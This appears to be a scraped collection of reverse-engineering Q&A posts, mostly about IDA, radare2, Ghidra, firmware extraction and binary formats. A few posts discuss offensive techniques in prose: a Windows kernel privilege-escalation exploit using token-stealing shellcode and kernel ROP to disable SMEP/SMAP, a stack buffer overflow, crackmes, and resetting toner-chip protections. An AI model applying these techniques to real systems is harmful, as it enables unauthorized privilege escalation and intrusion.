+ +EDIT: Someone in the comments asked for the disassembly of mightGetUserInput: here it is. DISCLAIMER: This is the pseudocode generated by IDA. It's pretty ugly and big. + +I don't really know the size of userInput. It's either referred as void * or as __int64. If this is wrong (and can guide me through IDA, feel free to correct me). +" +['radare2']," Title: What does layout of Cutter/Radare2's function dissasembly mean?Body: Cutter displays functions like this: + + +I'm having trouble understanding the layout of the functions + +For example: + + +What does 184 mean? +What does the green | mean at the beginning of each line? +Why are there two jump instructions? +" +"['ida', 'disassembly']"," Title: Handling __int64 in IDA?Body: This is probably something very easy that I'm missing. + +I have this operation + +length_of_userInput = (signed int)(unsigned __int8)userInput >> 1; + +And length_of_userInput is currently reading '4LL', type is __int64. + +I'm wondering what is the correct type to give IDA to display '4LL' into a readable int? + +I've tried inputting int, long (becomes __int64), and all __ints (int8,16,32) with no success. + +This is the assembly: + +
mov     rax, [rbp+var_6E8]
+mov     [rbp+userInputBuffer], rax
+mov     rax, [rbp+userInputBuffer]
+mov     rcx, [rbp+auth_string_pointer]
+mov     [rbp+var_528], rcx
+mov     rcx, [rbp+var_528]
+mov     [rbp+var_520], rcx
+mov     rdx, [rbp+var_520]
+mov     [rbp+var_518], rdx
+mov     rdx, [rbp+var_518]
+mov     [rbp+var_510], rdx
+mov     rdx, [rbp+var_510]
+movzx   esi, byte ptr [rdx]
+and     esi, 1
+cmp     esi, 0
+mov     [rbp+length_of_userInput], rax
+mov     [rbp+var_6F8], rcx
+
+ +(disclaimer: naming might be wrong. I hope not but I'm not sure :/ ) +" +"['ida', 'assembly']"," Title: Recommended way to modify assembler instructions in IDABody: What is the easiest way (or is there any) to modify an instruction +inside a binary opened inside IDA and save the changes to the original? +Is there a builtin assembler who's output I can place at a certain offset? How can I save back a binary after having edited the hex view? +" +"['debugging', 'radare2', 'debuggers']"," Title: How to print eax value with Radare2?Body: I am solving a crack me challenge but I am stuck. The challenge executes several jne tests. The first test is the simpliest but I don't arrive to print the eax value to know the content of cmp instruction. According to this block of code : + +
|    ; DATA XREF from sym.main (0x804848e)
+|    0x08048497      b88a55ea8b     mov eax, 0x8bea558a
+|    0x0804849c      45             inc ebp
+|    0x0804849d      f4             hlt
+|    0x0804849e      83c004         add eax, 4
+|    0x080484a1      8a00           mov al, byte [eax]
+|    0x080484a3      38c2           cmp dl, al
+|,=< 0x080484a5      753d           jne 0x80484e4
+
+ +How can I print the eax value to understand what are compared in the instruction ? + +0x080484a1 8a00 mov al, byte [eax] + +According to this question, I tried the 0x080484a1 but when I enter the command pxr 1 @ eax+0x4, nothing appears. If I enter the command pxr @ eax+0x4, this code appears : + +
0x080c288c  0x6f6c6165  ealo ascii
+0x080c2890  0x00796768  hgy. ascii
+
+ +The ascii printed is linked with the string compared ksuiealohgy. +" +['arm']," Title: Dumping flash from a running Cortex-MBody: I have a working device with a STM32F405ZGT6 in it. I want to dump the software it runs. + +As far as I can tell, there's no external flash on the device, so it must be running off of the internal flash. + +I've identified the SWD pins on the package and the designers helpfully left tiny attachment points to them. + +As someone who's never done this on the hardware side, now what? What hardware do I need to attach to this core? What software? (I keep reading about openocd - is there something better?) How hard of a journey am I starting here? + +Any help would be greatly appreciated. +" +"['exploit', 'shellcode', 'windows-10']"," Title: Returning to usermode shellcode from windows kernel (Win10)Body: I have written a kernel exploit (for the latest Win10 64bit) that executes (or returns to from the kernel) token stealing shellcode, which is placed in the VirtulAlloc'ed memory in the userland. + +The problem is, when the exploit is executed by admin user, it works fine but if it is executed by the normal user (medium integrity), it crashes with ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc). + +When I check the permission of the usermode shellcode memory, + +(standard user) + +
PXE at FFFF8542A150A010    PPE at FFFF8542A1402DF0    PDE at FFFF8542805BECA0    PTE at FFFF8500B7D94400
+contains 8A000000269B1867  contains 0A0000001C4F2867  contains 0A0000002673C867  contains 0000000032E84025
+pfn 269b1     ---DA--UW-V  pfn 1c4f2     ---DA--UWEV  pfn 2673c     ---DA--UWEV  pfn 32e84     ----A--UREV
+
+ +while in admin + +
PXE at FFFF8944A2512028    PPE at FFFF8944A2405E48    PDE at FFFF894480BC9F28    PTE at FFFF8901793E5800
+contains 0A000000060BD867  contains 0A0000003593E867  contains 0A0000000FBAB867  contains 000000001DFF4825
+pfn 60bd      ---DA--UWEV  pfn 3593e     ---DA--UWEV  pfn fbab      ---DA--UWEV  pfn 1dff4     ----A--UREV
+
+ +The difference is at the PXE level, there is no E bit set for standard user while admin user has execution permission on the usermode shellcode. + +I tried implementing the shellcode as a function of the exploit(.exe) so it is placed in code segment (which it will probably have execution privilege), but it is same (No E set in PXE level) and crashes although !vad command outputs EXECUTE_WRITECOPY. + +I have checked that ProcessMitigationPolicy's ProhibitDynamicCode is set to 0, so I don't think this is the problem. + +How do you guys execute shellcode when writing kernel exploit these days? +(FYI I have disabled SMEP, SMAP via Kernel ROP). + +Thanks in advance! +" +"['ida', 'assembly', 'x86', 'hexrays']"," Title: Why Ida pseudo-code translate test as AND?Body: In IDA when disassembling a x86 EXE file there is a line + +
test byte ptr [ebp+XXX], cl
+
+ +Before this line cl has a value of 0x11 + +The Hex-Rays decompiler plugin translates it as if (v10 &0x11). + +Why is test decompiled like and? +" +"['file-format', 'decryption', 'decompress', 'x64dbg']"," Title: Reverse engineering file format - ImageLinkBody: I have some technical documentation which is supplied in the form of a generic Windows viewer and a database. The database contains different ""books"", which are represented by a bunch files: + + + +All these files have a plaintext header and what's remaining is the data which is compressed or encrypted in some way: + +upd: the data_header is actually the uncompressed length of the data + + +I tried running binwalk and XorSearch, but with no success. I guess now I have to debug it, but I am very, very unfamiliar with it. I am using x32dbg with the xAnalyzer plugin. I tried setting a breakpoint on ReadFile and tracing from there, but it produces an enormously large log. However I can see that it uses crush32.dll - ""old C/Win32 compression library"" and runs some ors/xors and byte shifts(shr) which kinda reinforces my thought about compression/encryption usage. + + +So my question is how do I approach it from here? How do I at least dump all strings with the correspoding instructions i.e. get to the point where this byte-mess becomes readable strings? I am absolutely stuck. Thanks in advance! +" +['serial-communication']," Title: 2byte checksum for serial trafficBody: I'm working on an RFID reader that has partial implementation with ISO/IEC 14443-4 although not specifically compliant. I can decode a lot of the strings and understand the command base but I have not been able to crack the check sum. + +Read commands are 4 bytes in the format + +
0x82 Read Chunk
+0xYY Chunk Number
+2 Byte checksum
+
+ +the response is to echo the Read command, chunk Id, 32 Bytes of data then 2 byte checksum. + +I've tried the hex strings with a bunch of standard checksum calculators as well as looking for things like logical ands but cannot find any rule for how they are generated. Is there some other techniques for this style of checksum? + +Sample Data: + +
8208942d
+82081101004049424d2020202020363831303232393437310004000d1f0e000d220a273b
+82091d3c
+8209000d2591000e8521000e8521000e881d363955320000000000000000386c1940c1a4
+821b8e0f
+821b00000000000000000000000000000000000000000000000000000000000000008ca8
+821c317b
+821c0000000000000000000000000000000000000000000000000000000000000000b461
+821db86a
+821d0000000000000000000000000000000000000000000000000000000000000000d721
+
+" +"['x86', 'radare2']"," Title: debugging with radare2Body: I am using radare2 for disassemble an x86 binary: + +
$ r2 ./mynbinary
+[0x00001000]> aaa
+...
+[0x00001000]> pdf
+            ;-- section..text:
+            ;-- section.LOAD1:
+            ;-- rip:
+/ (fcn) entry0 53
+|   entry0 ();
+|           ; UNKNOWN XREF from 0x00001000 (entry0)
+|           0x00001000      e800000000     call loc.suite              ; [15] m-r-x section size 53 named LOAD1
+            ;-- suite:
+|           ; CALL XREF from 0x00001000 (entry0)
+|           0x00001005      48b968656c6c.  movabs rcx, 0x3332316f6c6c6568
+...
+
+ +As you can see it works great. + +Now, i am doing the same thing, on the same binary but with -d option in order to debug the binary + +
[0x7ff5a7183210]> aaa
+...
+[0x7ff5a7183210]> pdf
+p: Cannot find function at 0x7ff5a7183210
+
+ +I don't know why it does not work in debuging... + +Thanks +" +"['disassembly', 'x64dbg']"," Title: Trace back function callBody: I'm learning reverse engineering and I'm trying to find where an error message is called. +I want to get in the part of the code, in the main module, where it decides to display the error message or the succeed message, but I'm having problems tracing back to the function call because I get in a point of nowhere. +This is what I do: + + + +But the address I get is something like: system.windows.forms.ni.123456. +If I keep tracing back I get in a point of nowhere (somewhere in user32.dll). +Hopefully someone has a better way to trace back this function or its familiar with ""system.windows.forms"" and can explain me how it works. +" +"['hardware', 'serial-communication', 'cryptanalysis']"," Title: Identifying a toner chip and its communication protocol to re-program itBody: I need help identifying a chip and how to reset it from a new Brother's toner cartridge TN227 and TN223. This comes from the new Brother HL-L3230CDW laser printer. +There is currently no information on how to reverse engineer these chips to reset them, so I decided to investigate further, however I'm currently stuck. +Here are some pictures of the starter TN223 chip that my printer came with: + + + +The pictures are shown as following: + +I then opened the printer to determine which pins go to what. I first used a multi-meter to determine that pads 2,3,4 are shorted to each other on each chip for each color C, Y, M, BK. I then found pad 2 was shorted to the printer frame, so I assumed that was ground. Then I looked at the wiring color. It's matched as the following: + +When I attempted to measure any voltages from any of the pads during power-on, I was unable to measure anything. +I then connected a logic analyzer to the printer with the chip attached to see if I could figure out what protocol it was using. Assuming white is GND, Here's a sample of the Sigrok Pulseview received: + + +I ran the test twice and attached the Sigrok file results here and here. +These can be opened in Pulseview (free program) for a graphical representation of the data +It appears that the data is only sending when pad 4 goes high, I assume this is VCC. I then measured the voltage from pad 4 when communication occurs using an arduino and measured 3.3V. I now assume the chip is using 3.3V logic. +I still don't know if the pad 2 is GND since pad 3 is black which usually indicated ground, however as previously stated pad 2 is shorted to the frame of the printer. +I then attempted to connect pad 3 as GND to my logic analyzer and connect pad 2 as not ground, however something strange occurred, and the printer no longer accepted the cartridge I was messing around with. Going back to pad 2 as ground, and it started working again. I'm now assuming pad 2 is ground. +When investigating the data further, there seems to be a little difference between two runs. I simply turned the printer on and recorded data then immediately turned it off then back on to get my second run, however the data seemed to change slightly. To ensure it wasn't due to sampling error, I increased the sampling to 20 MHz, which includes about 20 samples per clock cycle which should be sufficient to measure the wave forms consistently. +When measuring the clock rate, I found it to be between 432-457Khz. +One idea I currently have is to analyze the data and find the ASCII text "brother" since each chip is required to have a manufacturing name and because the cartridges I have are from brother. More info can be found in Brothers white paper. +I'm not sure the best approach to analyze the binary data, since I can't identify the communication protocol, and I'm concerned that it might be encrypted. After searching patents to see if I could find more info on the chip, this was all I could find: +http://www.freepatentsonline.com/y2013/0070279.html +This suggests that the chip may be using crypto to hide info on the chip. If so, would it possible to crack it? +I tried analyzing the data as if it were I2C, but this doesn't seem right, Also I'm pretty sure it's not SPI. I do know there's a clock involved, so I know it has to be synchronous, but any help would be appreciated! +" +"['malware', 'pe', 'static-analysis']"," Title: what does BYTES_REVERSED_HI and BYTES_REVERSED_LO in an PE signifyBody: How can these pe attributes be used to identify malware. + +I was going though a paper link at page 10 he mentioned. + +""BYTES_REVERSED_HI and BYTES_REVERSED_LO both make ideal candidates as a primary indicator due to the significant detection rate with a low false positive rate"" +" +"['ida', 'assembly']"," Title: IDA Pro not undefining assembly?Body: I am not sure if IDA is working correctly or not. + +I have the instructions + +
call $+5
+pop edi
+
+ +If I understand this correctly, the program will jump forward, skipping some junk interpreted as instructions by IDA. To calculate where the execution continues, I have to get the location of pop edi (00002504), undefine everything after pop edi, and redefine as code at the location of pop edi + 5 (00002509) , or at least that's what I understood from searching here. + +Now, the problem is that when I undefine everything after pop edi, IDA freaks out and does not undefine anything. + +With the experience I have, when doing this I noticed that all the instructions after the undefine are well, undefined. + +This does not happen. Here are some pictures to show this: + + +After undefining: + + +What is happening here? +" +"['hexadecimal', 'wireshark', 'radio-interception', 'gps']"," Title: Decipher hexadecimal GPS coordinates from UDP messageBody: I'm trying to get the GPS lat/long data from a UDP message. It's captured on a radio dispatch console on a P25 radio system, if that helps.
+I captured this UDP message when I sent a simulated emergency from my device, which is supposed to send my user ID and lat/long coordinates. On the console it shows my user ID and my lat/long so I know it's getting to the console. +The picture is of the UDP message captured on Wireshark. My user ID is clearly there, so I know its my message, I'm pretty sure it contains the GPS coords, and I'm not sure how to decipher those. (I've redacted some identifying info fro security by the way). +The coordinates as rendered on the console are Lat: 34°2'56"" and Long: 118°10'15"" West, and my user ID is 00180011. In the picture you can see I identified what might be the most significant part of the lat/long degrees, 34 and 118, but I can't get the following bytes to match the minutes and seconds. I've tried a couple of conversion techniques from hex to lat/long, but none of my answers are making sense.
+I converted the lat/long to decimal 34.0489 and 118.1708, but can't get any further.
+Thanks for the help. + + +" +['firmware']," Title: Reversing Arris BGW210 firmwareBody:

TL;DR:

+ +Trying to mount extracted ubi file system onto /dev/mtd0 gives me the error: + +
libscan: scanning eraseblock 323 -- 100 % complete  
+ubiformat: 324 eraseblocks are supposedly empty
+ubiformat: error!: file ""340D04.ubi"" (size 42467348 bytes) is not multiple of eraseblock size (131072 bytes)
+           error 0 (Success)
+
+ +How do I get that thing flashed? + +

Longer version:

+ +I am looking to reverse the firmware for an Arris modem firmware, comparing older versions of the firmware to newer ones. I want to get access to the webroot of the little web server that runs the firmware because I think there is a bug in it. + +In this older version, binwalk gives me this: + +
> binwalk spTurquoise210-700_1.6.9.bin
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+544           0x220           Certificate in DER format (x509 v3), header length: 4, sequence length: 985
+1533          0x5FD           Certificate in DER format (x509 v3), header length: 4, sequence length: 1246
+3332          0xD04           JFFS2 filesystem, little endian
+3411204       0x340D04        UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000
+
+ +Extracting this binwalk -e spTurquoise210-700_1.6.9.bin yields: + +
total 166M
+drwxr-xr-x 3 root    root    4.0K Mar  5 16:10 .
+drwxr-xr-x 4 michael michael 4.0K Mar  5 16:10 ..
+-rw-r--r-- 1 root    root     43M Mar  5 16:10 220.crt
+-rw-r--r-- 1 root    root     39M Mar  5 16:10 340D04.ubi
+-rw-r--r-- 1 root    root     43M Mar  5 16:10 5FD.crt
+-rw-r--r-- 1 root    root     43M Mar  5 16:10 D04.jffs2
+drwxr-xr-x 3 root    root    4.0K Mar  5 16:10 jffs2-root
+
+ +The contents of jffs2-root don't reveal the webroot. I have mounted the D04.jffs2 image, and it appears to be identical to the extracted jffs2-root directory contents. It appears to be the upgrader that flashes the firmware. + +So, I figure I'll check the 340D04.ubi image. To mount that and check it, I: + +
> rmmod mtdram
+> du -sk 340D04.ubi
+39812   340D04.ubi
+> modprobe mtdram total_size=39812
+> flash_erase /dev/mtd0 0 0
+> ubiformat /dev/mtd0 -f 340D04.ubi
+
+ +That's where I've hit a problem. The output of the ubiformat command is: + +
libscan: scanning eraseblock 323 -- 100 % complete  
+ubiformat: 324 eraseblocks are supposedly empty
+ubiformat: error!: file ""340D04.ubi"" (size 42467348 bytes) is not multiple of eraseblock size (131072 bytes)
+           error 0 (Success)
+
+ +I cannot figure out how to flash the ubi file system onto the mtd0 device so I can (later) mount it. + +

Images:

+ + +" +"['disassembly', 'ghidra']"," Title: How to display the CFG of a function in Ghidra?Body: I am currently trying Ghidra and, I am looking at a specific function. I have the assembly code and the decompiled version of it. But, I am looking to see if I can have it as a CFG... + +Does someone has a clue on how to do it? + + +" +"['ida', 'object-code']"," Title: How to make IDA load headers of object files?Body: When I open an executable (a.out), I can see header info: + + +But when I load an object file, headers and segments aren't loaded: + + + +The entire header section is skipped. It goes directly to main (starts at 55 48...) + +Here's hexdump of the .o file: + +
00000000  cf fa ed fe 07 00 00 01  03 00 00 00 01 00 00 00
+00000010  04 00 00 00 50 02 00 00  00 20 00 00 00 00 00 00
+00000020  19 00 00 00 d8 01 00 00  00 00 00 00 00 00 00 00
+00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
+00000040  c0 00 00 00 00 00 00 00  70 02 00 00 00 00 00 00
+00000050  c0 00 00 00 00 00 00 00  07 00 00 00 07 00 00 00
+00000060  05 00 00 00 00 00 00 00  5f 5f 74 65 78 74 00 00
+00000070  00 00 00 00 00 00 00 00  5f 5f 54 45 58 54 00 00
+00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
+00000090  3b 00 00 00 00 00 00 00  70 02 00 00 04 00 00 00
+000000a0  30 03 00 00 04 00 00 00  00 04 00 80 00 00 00 00
+000000b0  00 00 00 00 00 00 00 00  5f 5f 64 61 74 61 00 00
+000000c0  00 00 00 00 00 00 00 00  5f 5f 44 41 54 41 00 00
+000000d0  00 00 00 00 00 00 00 00  3b 00 00 00 00 00 00 00
+000000e0  04 00 00 00 00 00 00 00  ab 02 00 00 00 00 00 00
+000000f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
+00000100  00 00 00 00 00 00 00 00  5f 5f 63 73 74 72 69 6e
+00000110  67 00 00 00 00 00 00 00  5f 5f 54 45 58 54 00 00
+00000120  00 00 00 00 00 00 00 00  3f 00 00 00 00 00 00 00
+00000130  1f 00 00 00 00 00 00 00  af 02 00 00 00 00 00 00
+00000140  00 00 00 00 00 00 00 00  02 00 00 00 00 00 00 00
+00000150  00 00 00 00 00 00 00 00  5f 5f 63 6f 6d 70 61 63
+00000160  74 5f 75 6e 77 69 6e 64  5f 5f 4c 44 00 00 00 00
+00000170  00 00 00 00 00 00 00 00  60 00 00 00 00 00 00 00
+00000180  20 00 00 00 00 00 00 00  d0 02 00 00 03 00 00 00
+00000190  50 03 00 00 01 00 00 00  00 00 00 02 00 00 00 00
+000001a0  00 00 00 00 00 00 00 00  5f 5f 65 68 5f 66 72 61
+000001b0  6d 65 00 00 00 00 00 00  5f 5f 54 45 58 54 00 00
+000001c0  00 00 00 00 00 00 00 00  80 00 00 00 00 00 00 00
+000001d0  40 00 00 00 00 00 00 00  f0 02 00 00 03 00 00 00
+000001e0  00 00 00 00 00 00 00 00  0b 00 00 68 00 00 00 00
+000001f0  00 00 00 00 00 00 00 00  24 00 00 00 10 00 00 00
+00000200  00 0d 0a 00 00 00 00 00  02 00 00 00 18 00 00 00
+00000210  58 03 00 00 03 00 00 00  88 03 00 00 14 00 00 00
+00000220  0b 00 00 00 50 00 00 00  00 00 00 00 00 00 00 00
+00000230  00 00 00 00 02 00 00 00  02 00 00 00 01 00 00 00
+00000240  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
+*
+00000270  55 48 89 e5 48 83 ec 10  48 8d 3d 30 00 00 00 c7
+00000280  45 fc 00 00 00 00 b0 00  e8 00 00 00 00 48 8d 3d
+00000290  2a 00 00 00 89 45 f8 b0  00 e8 00 00 00 00 31 c9
+000002a0  89 45 f4 89 c8 48 83 c4  10 5d c3 4b 45 4b 00 68
+000002b0  65 6c 6c 6f 20 66 72 6f  6d 20 6d 61 63 00 68 65
+000002c0  6c 6c 6f 20 66 72 6f 6d  20 6d 61 63 32 00 00 00
+
+ +Edit + +The same thing happens when I open a Windows executable (a.exe), not a Mach-O. Why does IDA skip headers? +" +['ida']," Title: IDA - floating point operand typeBody: How do I set the data to floating point number in quickier way than clicking on: + +
Edit>Operand type>Number>Floating point
+
+ +I have a lot of wrongly detected casual DWORD's instead of Float's and clicking on every single of them with above is a giant waste of time. + +How can I automate this process, or setup a shortcut for floating point numbers? For example, how 'B' for binary or 'D' for byte/word/dword work by default. +" +"['windbg', 'kernel']"," Title: How to use windbg to view assembly code of kernel function?Body: I am using windbg for local kernel debugging. I want to view the disassembly of a kernel function (eg. AuxKlibQueryModuleInformation). I am not familiar with kernel debugging. Please help me do this. +" +"['disassembly', 'binary-analysis', 'obfuscation', 'deobfuscation']"," Title: Does a symbolic disassembler exist?Body: I would like to know if there are disassemblers based on a symbolic analysis, I'm beginner in RE, but I think that a disassembler based on symbolic techniques can be very interesting and could disassemble most of the obfuscated binaries.. +" +"['linux', 'anti-debugging']"," Title: Fork and Waitpid calls in a CTF linux binaryBody: I'm doing one of my first linux crackmes. + +In the first blocks of code, it goes inside some anti-debug routine and inside one of those it forks and after it calls a waitpid routine. I can verify it and understand purely the code but I can't get why the creators put this code and how it can be an anti-debug technique. These are the interesting blocks. + + +" +"['disassembly', 'debugging', '.net', 'c#']"," Title: Is there a way to see & keep track of registers in dnSpy?Body: Hello I am trying to see if there is a way to see & keep track of the IP, and other registers as you would in OllyDbg or x64Dbg? +" +"['disassembly', 'disassemblers', 'ghidra']"," Title: Can I stop Ghidra from creating extended references?Body: I'm trying to disassemble some 6502 using Ghidra. The following (prerequisites: POSIX-style shell, Python 2.x) will generate a file called test.dat that demonstrates the issue: + +
python -c ""open('test.dat','wb').write(''.join([chr(x) for x in [0xa2,0xa3,0xa9,0x00,0x9d,0x40,0x00,0xca,0x10,0xfa,0x60]]))""
+
+ +Then, from in Ghidra: + +
    +
  1. create new project (wherever you like)
  2. +
  3. import test.dat created above, with Language as 6502/default and Base Address as 0x400
  4. +
  5. double click test.dat in Active Project to get to the CodeBrowser window
  6. +
  7. say No when analysis is offered
  8. +
  9. go to location $400 and press D to disassemble
  10. +
+ +The disassembly is pretty short. + +
                             //
+                             // RAM 
+                             // fileOffset=0, length=11
+                             // RAM: 0400-040a
+                             //
+            0400 a2 a3           LDX        #0xa3
+            0402 a9 00           LDA        #0x0
+                             LAB_0404                                        XREF[1]:     0408(j)  
+            0404 9d 40 00        STA        $0x40,X=>DAT_00e3                                = ??
+            0407 ca              DEX
+            0408 10 fa           BPL        LAB_0404
+            040a 60              RTS
+
+ +The odd thing here is that rather than generating a label for $0040, which is the base address of the table, it's generated one for $00e3 - the first byte accessed - as if X is a TOC pointer, or similar, and $0040 is the offset. This isn't appropriate for 6502 code. + +In this little example I can right click and fix up the references by hand, but I don't mind admitting that I don't want to have to do this for an entire program. 6502 code is full of this stuff. + +Can I stop this from happening? + +(I got very lost trying to follow through the Java source provided! - but I did figure out that this sort of reference is known as an extended reference, and appears to be common to all targets. I couldn't find anything in the documentation about these, though, or how to disable them.) +" +"['assembly', 'patching']"," Title: Is it possible to change a signed byte to an int in compiled assembly code?Body: I'm trying to mess around with an old game and I want to reposition a UI element. + +I found the address of where the x and y position get set (It's set to an X position of 90 and a Y position of 358) but it appears that because the 90 value is less than 128, the compiler optimized the assembly and changed the assembly from a push int (68 ? ? ? ?) to a push signed byte (6a ?). + +This means that I'm unable to extend the X position beyond 128. + +Is there any way for me to set the X position to something like 1000? I would need to somehow be able to change the assembly code to do a push int instead, correct? Will asm help me achieve that? Or what other methods could I use? + +Here's what I'm talking: + +" +['ghidra']," Title: Ghidra define c++ stringBody: So I want to define a c++ string in ghidra struct. I noticed while reverse engineering a C++ binary, I found that, it defines a basic_string class in the symbol tree. + +Now I want to define a std::string (not a pointer to it) within a struct. Is there a way to do it automatically right now, or will I still need to manually define a basic_string struct and go from there? Is there currently a way to associate classes and structs together like so (currently I think classes only act as namespaces? + +I also tried just simply adding a field with the type basic_string in my struct, but it complains that basic_string is just a placeholder struct. + +Haven't yet tested how ghidra would handle a std::string local variable. + +EDIT: example code for what I described above: + +
#include <string>
+#include <iostream>
+
+struct Human {
+  int age;
+  bool is_male;
+  std::string name;
+
+public:
+  Human(int age, bool is_male, const std::string &name) : age(age), is_male(is_male), 
+    name(name) { }
+
+  void say_hello() {
+    std::cout << ""Hello, I am a "" << (is_male ? ""male "" : ""female "") << age << 
+      ""-year old named "" << name << ""!"" << std::endl;
+  }
+};
+
+int main() {
+  Human *human = new Human(17, true, ""Adam"");
+  human->say_hello();
+}
+
+ +When you putting this into ghidra, and then do auto-fill struct fields, it will recognize the age and is_male fields, but not the name field, as this is an opaque std::string object. + +Up to this point, when I was reversing another (much larger) binary, I simply manually created a new struct: + +
struct basic_string {
+  char *ptr;
+  size_t len;
+  char buff[0x10]
+};
+
+ +Is there something that ghidra can do this automatically? Also I'm wondering would there be any portability issues if I just always assume the above struct? +" +"['ida', 'disassembly', 'binary-analysis', 'embedded']"," Title: Can anyone make much sense of this binary for an embedded system?Body: I want to see if anyone more experienced in reverse engineering and disassembly can take a look at this binary update file I have and maby ether help or just say if it is even possible to reverse it. +In the long run I want to add a missing functionality to it to allow for an AV input + +The system in question is a bmw head unit (MMI) that has a main processor: renesas SH3 SH7709A . A secondary 16 bit processor ST10F269-T3. A xilinx FPGA. A most bus controller and dual 32mb flash memory for storage S29JL032H. + + +The binary in question is a update file that has been converted from intelHEX to binary and then unpacked and can be found at this link: https://drive.google.com/file/d/1J6eLOfW17Sit-7-OnEUH_emWjf-3MIC7/view?usp=drivesdk +It does contain many debugging strings and so on at least. I have attempted some disassembly in IDA pro but would appreciate if someone else could take a look and maby see something obvious we have missed. + +More documents, pictures, datacheets, dumps from a system with the same hardware that already has the functionality I want to add and so on can be found here: https://drive.google.com/folderview?id=1ue6Z0G95_-nF3svesaC4yThRse6rIdwk +" +"['gdb', 'elf', 'dynamic-linking']"," Title: DT_DEBUG not filled on dlopenBody: A target library ""lib42.so"" has DT_DEBUG entry in the .dynamic section. + +After dlopen(""lib42.so"", RTLD_LOCAL | RTLD_NOW) succeded, r_debug->d_un.d_ptr is equal to zero. Why? +" +['linux']," Title: What is causing \r\n in libnotify?Body: I am trying to look under the hood of libnotify, and ran strace notify-send 'hello' and one of the system calls is: + +sendto(5, ""AUTH\r\n"", 6, MSG_NOSIGNAL, NULL, 0) = 6 + +Surrounded by a: + +sendmsg(5, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base=""\0"", iov_len=1}], msg_iovlen=1, msg_control=[{cmsg_len=28, cmsg_level=SOL_SOCKET, cmsg_type=SCM_CREDENTIALS, cmsg_data={pid=2555, uid=1000, gid=1000}}], msg_controllen=32, msg_flags=0}, MSG_NOSIGNAL) = 1 + +sendto(5, ""AUTH\r\n"", 6, MSG_NOSIGNAL, NULL, 0) = 6 + +recvfrom(5, ""REJECTED EXTERNAL\r\n"", 4096, 0, NULL, NULL) = 19 + +(Full paste https://pastebin.com/wi9Ecvmk, the above is on lines 322 - 324) + +What is causing windows-like carriage returns here? I tried to look into Desktop notifications specs and to local installed libnotify's manual but found no explanation. No explanation in man pages of sendmsg or recvfrom either. And no component of this is ever going to run on any type of Windows. + +So why is purely Linux program leveraging this type of newline? + +(I'm running Arch Linux if that makes any difference) + +Edit: I'm new in this so I'm sorry if it's really obvious and remove the question if needed. +" +"['assembly', 'binary-analysis', 'buffer-overflow', 'shellcode']"," Title: x86-64 CALL opcode + disassemblyBody: Working a basic buffer overflow on a 64bit system and putting together some basic shellcode. The main program does a call to puts@plt. When I disassemble main in gdb, the opcodes show as: + +
e8 6b fe ff ff    0x555555554580 <puts@plt>
+
+ +I looked at the call instruction set reference which says its a relative displacement from the next instruction. The next instruction is: + +
0x0000555555554715 b8 00 00 00 00 mov eax, 0x0
+
+ +How is ""6b fe ff ff"" displaced from ""0x555555554715"" to get the puts@plt address? + +I'm dropping my shellcode onto the stack, is it possible to call to puts@plt from there as a displacement from the next instruction? Or do I just need to setup the registers for a syscall? +" +"['assembly', 'x86']"," Title: How does the x86 instruction, call 135b<__x86.get_pc_thunk.ax> work?Body: I think the below instruction is used for position independent code. Could anyone please help me understand how it works? + +
call 135b<__x86.get_pc_thunk.ax>
+
+ +What are the use of the below instructions after it returns? + + + +
add    eax,0x2d77
+mov    edx,DWORD PTR [eax-0xc]
+mov    edx,DWORD PTR [edx]
+
+ +Is it possible to remove call 135b<__x86.get_pc_thunk.ax> from the assembly when compiling the code using GCC? + +Thank you. + + +" +['ghidra']," Title: How to increase decompilation timeout in ghidra?Body: I'm trying to decompile a function with ghidra 9.0. After a (short) while, I get : + +
Exception while decompiling 140062b00: process: timeout
+
+ +I already ""succesfully"" decompiled this function using IDA hexrays and snowman. Both return a massive function with several thousand lines of code. I use quotes because I didn't validate the whole output, but the parts that I analysed made sense. + +I'm thinking that this timeout error could be solved by increasing the time limit, but I haven't found any way of configuring this. + +Is there any way to use ghidra to decompile this function anyway? +" +['radare2']," Title: What this ""arw"" line means when processing Mach-0 file with Radare2 or Rabin2?Body: Processing a Mach-0 file with Rabin2 I'm obtaining the following result: + +
$ rabin2 -I mybinaryfile
+arw 00000000000000000000000000000000000000000000000000000000000000001f0000000000000000000000170000001f0000001f0000000000000000000000
+arch     x86
+baddr    0x0
+binsz    69256
+bintype  mach0
+bits     32
+canary   false
+sanitiz  false
+class    MACH0
+crypto   false
+endian   little
+havecode true
+laddr    0x0
+lang     c++
+linenum  false
+lsyms    false
+machine  386
+maxopsz  16
+minopsz  1
+nx       false
+os       darwin
+pcalign  0
+pic      false
+relocs   false
+static   true
+stripped false
+subsys   darwin
+va       true
+
+ +Opening it with Radare2 the same ""arw"" line appears: + +
$ radare2 mybinaryfile
+arw 00000000000000000000000000000000000000000000000000000000000000001f0000000000000000000000170000001f0000001f0000000000000000000000
+ -- radare2-built farm beats the facebook one.
+[0x00000000]> 
+
+[0x00000000]> ih
+0x00000000  Magic       0xfeedface
+0x00000004  CpuType     0x7
+0x00000008  CpuSubType  0x3
+0x0000000c  FileType    0x1
+0x00000010  nCmds       3
+0x00000014  sizeOfCmds  840
+0x00000018  Flags       0x2000
+0x00000020  cmd       0 0x1 LC_SEGMENT
+0x00000024  cmdsize     736
+0x00000300  cmd       1 0x2 LC_SYMTAB
+0x00000304  cmdsize     24
+0x00000318  cmd       2 0x5 LC_UNIXTHREAD
+0x0000031c  cmdsize     80
+
